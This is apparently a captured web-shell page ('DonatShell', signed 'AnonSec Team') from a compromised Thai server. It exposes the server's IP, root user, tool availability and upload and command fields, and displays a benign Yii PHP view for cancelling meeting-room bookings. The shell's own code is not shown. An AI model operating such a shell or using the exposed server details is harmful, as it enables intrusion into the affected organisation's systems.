%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11584/task/11584/cwd/html/ppaobm/frontend/modules/booking/views/bookingdata/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11584/task/11584/cwd/html/ppaobm/frontend/modules/booking/views/bookingdata/cancelview.php
<?php

use kartik\grid\GridView;
use yii\helpers\Html;
use yii\helpers\Url;
use yii\web\View;
use yii\widgets\Pjax;
use yii\helpers\ArrayHelper;
use kartik\export\ExportMenu;
use backend\modules\location_center\models\LocationCenter;
use kartik\popover\PopoverX;
use yii\bootstrap\Modal;
$this->title = 'ตรวจสอบ/ยกเลิกการขอใช้ห้องประชุมและอาคารสถานที่';
?>

<?php
$gridColumns = [
    [
        'attribute' => 'id',
        'contentOptions' => ['class' => 'kartik-sheet-style'],
        'width' => '0.5%',
        'headerOptions' => ['class' => 'kartik-sheet-style'],
        'contentOptions' => function ($model) {
            return [
                'style' => 'cursor:pointer;',
                'name' => 'canceldetail',
                'value' => Url::to('/booking/bookingdata/canceldetail?id=' . $model->id)
            ];
        },
    ],
    [
        'attribute' => 'datein',
        'width' => '15%',
        'vAlign' => 'middle',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'xlFormat' => "mmm\\-dd\\, \\-yyyy",
        'format' => 'html',
        'filterType' => GridView::FILTER_DATE,
        'filterWidgetOptions' => (
        [
            'model' => $searchModel,
            'type' => 2,
            'language' => 'th',
            'attribute' => 'datein',
            'convertFormat' => true,
            'pluginOptions' => ['autoclose' => true, 'format' => 'yyyy-MM-dd'],
        ]
        ),
        'contentOptions' => function ($model) {
            return [
                'style' => 'cursor:pointer;',
                'name' => 'canceldetail',
                'value' => Url::to('/booking/bookingdata/canceldetail?id=' . $model->id)
            ];
        },
        'value' => function ($model) {
            if ($model->datein !== null) {
                return Yii::$app->thaiFormatter->asDateTime($model->datein, 'php:d M Y เวลา H:i');
            } else {
                return 'ไม่ได้ระบุ';
            }
        },
    ],
    [
        'attribute' => 'name',
        'headerOptions' => ['style' => 'width:90px;'], # 90px is sufficient for 5-digit user ids
        'contentOptions' => function ($model) {
            return [
                'style' => 'cursor:pointer;',
                'name' => 'canceldetail',
                'value' => Url::to('/booking/bookingdata/canceldetail?id=' . $model->id)
            ];
        },
    ],
//    [
//        'attribute' => 'department_name',
//        'headerOptions' => ['style' => 'width:90px;'], # 90px is sufficient for 5-digit user ids
//        'contentOptions' => function ($model) {
//            return [
//                'style' => 'cursor:pointer;',
//                'id' => $model['id'],
//                'onclick' => 'window.location.href = "/user/admin/update?id="+(this.id)',
//            ];
//        },
//    ],
    [
        'attribute' => 'title',
        'headerOptions' => ['style' => 'width:90px;'], # 90px is sufficient for 5-digit user ids
        'contentOptions' => function ($model) {
            return [
                'style' => 'cursor:pointer;',
                'name' => 'canceldetail',
                'value' => Url::to('/booking/bookingdata/canceldetail?id=' . $model->id)
            ];
        },
    ],
    [
        'attribute' => 'location_center_id',
        'headerOptions' => ['style' => 'width:90px;'], # 90px is sufficient for 5-digit user ids
        'contentOptions' => function ($model) {
            return [
                'style' => 'cursor:pointer;',
                'name' => 'canceldetail',
                'value' => Url::to('/booking/bookingdata/canceldetail?id=' . $model->id)
            ];
        },
        'value' => function ($model) {
            $model = LocationCenter::find()->where(['id' => $model->location_center_id])->one();
//            return substr($model->name, 96);
            return $model->name;
        },
    ],
    [
        'class' => 'kartik\grid\FormulaColumn',
        'header' => 'สถานะ',
        'vAlign' => 'middle',
        'width' => '1%',
        'format' => 'raw',
        'value' => function ($model) {
            if ($model->status == 0) {
                return '<i class="m-menu__link-icon fa fa-minus" style="color:red"></i>';
            }
            if ($model->status == 1) {
                return '<i class="m-menu__link-icon fa fa-check" style="color:blue"></i>';
            }
            if ($model->status == 2) {
                return '<i class="m-menu__link-icon fa fa-times" style="color:red" title"999"></i>';
            }
        },
        'headerOptions' => ['class' => 'kartik-sheet-style'],
        'hAlign' => 'center',
        'mergeHeader' => true,
    ],
    [
        'class' => 'kartik\grid\FormulaColumn',
        'header' => 'ดำเนินการ',
        'vAlign' => 'middle',
        'width' => '5%',
        'format' => 'raw',
        'value' => function ($model) {
            if ($model->status == 0) {
//                return Html::a('ยกเลิกการขอใช้', ['/booking/bookingdata/index'], ['class' => 'btn btn-xs btn-warning']);
//                return Html::a('ยกเลิกการขอใช้', ['/booking/bookingdata/index', 'id' => $model->id], [
                return Html::a('ยกเลิกการขอใช้', ['/booking/bookingdata/delete', 'id' => $model->id], [
                            'class' => 'btn btn-xs btn-warning',
                            'data-pjax' => 0,
                            'data' => [
                                'confirm' => '<h3 style="font-weight: bold;" class="text-center">คุณต้องการ ยกเลิกการขอใช้ห้องประชุม</h3>',
                                'method' => 'post',
                            ],
                            'data-toggle' => 'tooltip',
                            'title' => 'ยกเลิกการขอใช้ห้องประชุมฯ',
                            'type' => 'warning'
                ]);
            }
            if ($model->status == 1) {
                return '-';
            }
            if ($model->status == 2) {
                return '-';
            }
        },
        'headerOptions' => ['class' => 'kartik-sheet-style'],
        'hAlign' => 'center',
        'mergeHeader' => true,
    ],
    [
        'class' => 'kartik\grid\FormulaColumn',
        'header' => 'สาเหตุที่ไม่อนุมัติ',
        'vAlign' => 'middle',
        'width' => '15%',
        'format' => 'raw',
        'contentOptions' => function ($model) {
            return [
                'style' => 'cursor:pointer;',
                'name' => 'canceldetail',
                'value' => Url::to('/booking/bookingdata/canceldetail?id=' . $model->id)
            ];
        },
        'value' => function ($model) {
            if ($model->status == 0) {
                return '';
            }
            if ($model->status == 1) {
                return '';
            }
            if ($model->status == 2) {
                return $model->cancel;
            }
        },
        'headerOptions' => ['class' => 'kartik-sheet-style'],
        'hAlign' => 'center',
        'mergeHeader' => true,
    ],
];
?>
<?php
Modal::begin([
    'header' => '<div class="modal-header-canceldetail">รายละเอียด</div>',
    'id' => 'modal-canceldetail-bookingdata',
    'size' => 'modal-lg',
    'options' => ['class' => ' '],
]);
echo "<div id='modalContent-canceldetail-bookingdata'></div>";
echo "<div class='modal-footer'></div>";
Modal::end();
?>
<div class="ppaobmd2">
    <div class="container">
        <section id="bookingcancel" class="content-header">
            <h1>
                <?= Html::a('<i class="fa fa-chevron-left"></i> ย้อนกลับ', ['/booking/bookingdata/index'], ['class' => 'btn bg-light-blue']) ?>
                <?= Html::encode($this->title) ?> : <?php
                $model = \frontend\modules\booking\models\BookingData::find()->where(['pin' => $pin])->one();
                echo $model->name;
                ?>
            </h1>
        </section>
        <section class="content-header">
            <div class="alert alert-warning" role="alert">
                <strong>
                    หมายเหตุ!!
                </strong>
                <ul type="circle">
                    <li>รายการที่รอการอนุมัติ สามารถยกเลิกการขอใช้ห้องประชุมได้</li>
                    <li>รายการที่อนุมัติแล้ว ไม่สามารถยกเลิกการขอใช้ห้องประชุมได้ กรุณาติดต่อเจ้าหน้าที่เพื่อยกเลิกการขอใช้ห้องประชุม</li>
                    <li>รายการที่ไม่อนุมัติ ไม่สามารถยกเลิกการขอใช้ห้องประชุมได้</li>
                </ul>

            </div>
        </section>
        <section class="content">
            <div class="row">
                <div class="col-xs-4" style="text-align: center"><i class="m-menu__link-icon fa fa-minus" style="color:red"></i> รอการอนุมัติ</div>
                <div class="col-xs-4" style="text-align: center"><i class="m-menu__link-icon fa fa-check" style="color:blue"></i> อนุมัติ</div>
                <div class="col-xs-4" style="text-align: center"><i class="m-menu__link-icon fa fa-times" style="color:red"></i> ไม่อนุมัติ</div>
            </div>
            <div class="row">
                <div class="col-md-12">
                    <div class="box">
                        <div class="box-body">
                            <?php Pjax::begin() ?>
                            <?=
                            GridView::widget([
                                'id' => 'grid-cancel',
                                'dataProvider' => $dataProvider,
//                            'filterModel' => $searchModel,
                                'options' => [
                                    'class' => 'table table-bordered table-striped'
                                ],
                                'filterRowOptions' => ['class' => 'kartik-sheet-style'],
                                'layout' => "{items}\n{pager}",
                                'showPageSummary' => false,
//                            'panel' => [
//                                'type' => GridView::TYPE_PRIMARY
//                            ],
                                'panelTemplate' => '
                        <div class="panel {type}">
                            {items}
                            <div class="clearfix">
                                {pager}
                            </div>
                            <div class="clearfix"></div>
                        </div>',
                                'pjax' => true,
                                'pjaxSettings' => [
                                    'neverTimeout' => true,
                                    'enablePushState' => true,
                                    'options' => ['id' => 'grid-' . Yii::$app->controller->module->id . Yii::$app->controller->action->id,],
                                ],
//                            'pager' => Yii::$app->params['pagerX'],
                                'toolbar' => [
                                    '{export}',
                                    '{toggleData}'
                                ],
                                'export' => [
                                    'label' => 'ดาว์โหลดเอกสาร',
                                    'fontAwesome' => true,
                                    'showConfirmAlert' => false,
                                    'target' => \kartik\grid\GridView::TARGET_BLANK
                                ],
                                'exportConfig' => [
                                    \kartik\grid\GridView::EXCEL => false,
                                ],
                                'responsive' => true,
                                'responsiveWrap' => false,
                                'hover' => true,
                                'headerRowOptions' => ['class' => 'header-table-center',],
                                'columns' => $gridColumns,
                                'krajeeDialogSettings' => ['overrideYiiConfirm' => false]
                            ]);
                            ?>
                            <?php Pjax::end() ?>
                        </div>
                    </div>
                </div>
            </div>
        </section>
    </div>
</div>

Anon7 - 2022
AnonSec Team